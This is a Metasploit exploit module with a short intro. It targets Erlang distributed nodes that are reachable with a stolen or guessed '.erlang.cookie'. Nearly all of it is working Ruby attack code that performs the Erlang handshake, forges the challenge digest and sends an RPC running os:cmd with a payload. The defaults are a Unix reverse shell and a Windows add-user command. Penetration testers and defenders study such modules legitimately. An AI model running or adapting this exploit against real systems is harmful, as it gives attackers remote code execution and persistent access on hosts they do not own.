The erlang port mapper daemon is used to coordinate distributed erlang instances. Should an attacker get the authentication cookie, remote code execution is trivial. Usually, this cookie is named ".erlang.cookie" and varies on location.
ea980adef717ce0ec6960332056abbb6##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Erlang Port Mapper Daemon Cookie RCE',
'Description' => %q{
The erlang port mapper daemon is used to coordinate distributed erlang instances.
Should an attacker get the authentication cookie RCE is trivial. Usually, this
cookie is named ".erlang.cookie" and varies on location.
},
'Author' =>
[
'Daniel Mende', # blog post article
'Milton Valencia (wetw0rk)', # metasploit module
],
'References' =>
[
['URL', 'https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/']
],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'win'],
'Arch' => ARCH_CMD,
'Privileged' => 'false',
'Targets' =>
[
[ 'Unix',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
],
[ 'Windows',
'Platform' => 'win',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/adduser'},
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 20, 2009', # https://github.com/erlang/otp/blob/master/lib/kernel/src/os.erl (history)
)
)
register_options(
[
OptString.new('COOKIE', [ true, 'Erlang cookie to login with']),
Opt::RPORT(25672)
])
end
def generate_challenge_digest(challenge)
challenge = challenge.unpack('H*')[0].to_i(16).to_s
hash = Digest::MD5.new
hash.update(datastore['COOKIE'])
hash.update(challenge)
vprint_status("MD5 digest generated: #{hash.hexdigest}")
return [hash.hexdigest].pack('H*')
end
def exploit
connect
our_node = "#{rand_text_alphanumeric(6..12)}@#{rand_text_alphanumeric(6..12)}"
# SEND_NAME: send initial identification of who "we" are
send_name = "\x00" # Length: 0x0000
send_name << [(our_node.length+7).to_s(16)].pack('H*') #
send_name << "\x6e" # Tag: n
send_name << "\x00\x05" # Version: R6 (5)
send_name << "\x00\x03\x49\x9c" # Flags (0x0003499c)
send_name << "#{our_node}" # <generated>@<generated>
# SEND_CHALLENGE_REPLY: return generated digest and its own challenge
send_challenge_reply = "\x00\x15" # Length: 21
send_challenge_reply << "\x72" # Tag: r
# SEND: send the message to the node
send = "\x00\x00\x00" # Length:0x00000000
send << [(0x50 + payload.raw.length + our_node.length*2).to_s(16)].pack('H*') #
send << "\x70" #
send << "\x83" # VERSION_MAGIC
send << "\x68" # SMALL_TUPLE_EXT (104)
send << "\x04" # Arity: 4
send << "\x61" # SMALL_INTEGER_EXT
send << "\x06" # Int: 6
send << "\x67" # PID_EXT (103)
send << "\x64\x00" # Node:
send << [(our_node.length).to_s(16)].pack('H*') # Length: strlen(Node)
send << "#{our_node}" # Node
send << "\x00\x00\x00\x03" # ID
send << "\x00\x00\x00\x00" # Serial
send << "\x00" # Creation
send << "\x64" # InternalSegmentIndex
send << "\x00\x00" # Len: 0x0000
send << "\x64" # InternalSegmentIndex
send << "\x00\x03" # Length: 3
send << "rex" # AtomText: rex
send << "\x83\x68\x02\x67\x64\x00" #
send << [(our_node.length).to_s(16)].pack('H*') # Length: strlen(Node)
send << "#{our_node}" # Node
send << "\x00\x00\x00\x03" # ID
send << "\x00\x00\x00\x00" # Serial
send << "\x00" # Creation
send << "\x68" # SMALL_TUPLE_EXT (104)
send << "\x05" # Arity: 5
send << "\x64" # InternalSegmentIndex
send << "\x00\x04" # Length: 4
send << "call" # AtomText: call
send << "\x64" # InternalSegmentIndex
send << "\x00\x02" # Length: 2
send << "os" # AtomText: os
send << "\x64" # InternalSegmentIndex
send << "\x00\x03" # Length: 3
send << "cmd" # AtomText: cmd
send << "\x6c" # LIST_EXT
send << "\x00\x00\x00\x01" # Length: 1
send << "\x6b" # Elements: k
send << "\x00" # Tail
send << [(payload.raw.length).to_s(16)].pack('H*') # strlen(Command)
send << payload.raw # Command
send << "\x6a" # NIL_EXT
send << "\x64" # InternalSegmentIndex
send << "\x00\x04" # Length: 4
send << "user" # AtomText: user
sock.put(send_name)
# recieve servers "SEND_CHALLENGE" token (4 bytes)
print_status("Receiving server challenge")
challenge = sock.get
challenge = challenge[14,4]
send_challenge_reply << challenge
send_challenge_reply << generate_challenge_digest(challenge)
print_status("Sending challenge reply")
sock.put(send_challenge_reply)
if sock.get.length < 1
fail_with(Failure::UnexpectedReply, "Authentication Failed:#{datastore['COOKIE']}")
end
print_good("Authentication successful, sending payload")
sock.put(send)
end
end